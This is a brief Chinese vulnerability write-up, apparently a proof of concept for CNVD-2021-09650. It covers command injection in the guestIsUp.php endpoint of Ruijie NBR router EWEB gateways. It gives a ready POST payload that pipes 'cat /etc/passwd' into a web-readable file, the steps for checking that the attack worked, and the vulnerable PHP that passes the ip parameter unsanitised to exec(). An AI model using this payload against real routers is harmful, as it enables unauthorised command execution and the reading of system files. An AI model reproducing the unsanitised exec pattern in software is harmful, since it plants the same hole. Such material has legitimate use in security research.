漏洞信息
锐捷NBR路由器 EWEB网关系统部分接口存在命令注入,可以通过POST请求访问关键路径/guest_auth/guestIsUp.php
,并在请求体ip参数中写入命令执行语句。
1、请求体payload
1 | mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt |
注意:判断是否成功条件是payload写入状态码为200,其次访问写入的文件
/guest_auth/test.txt
能够回显出命令执行结果。漏洞触发源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//查询用户是否上线了
$userip = @$_POST['ip'];
$usermac = @$_POST['mac'];
if (!$userip || !$usermac) {
exit;
}
/* 判断该用户是否已经放行 */
$cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
$res = exec($cmd, $out, $status);
/* 如果已经上线成功 */
if (strstr($out[0], "status:1")) {
echo 'true';
}
截图

POC
1 | id: CNVD-2021-09650 |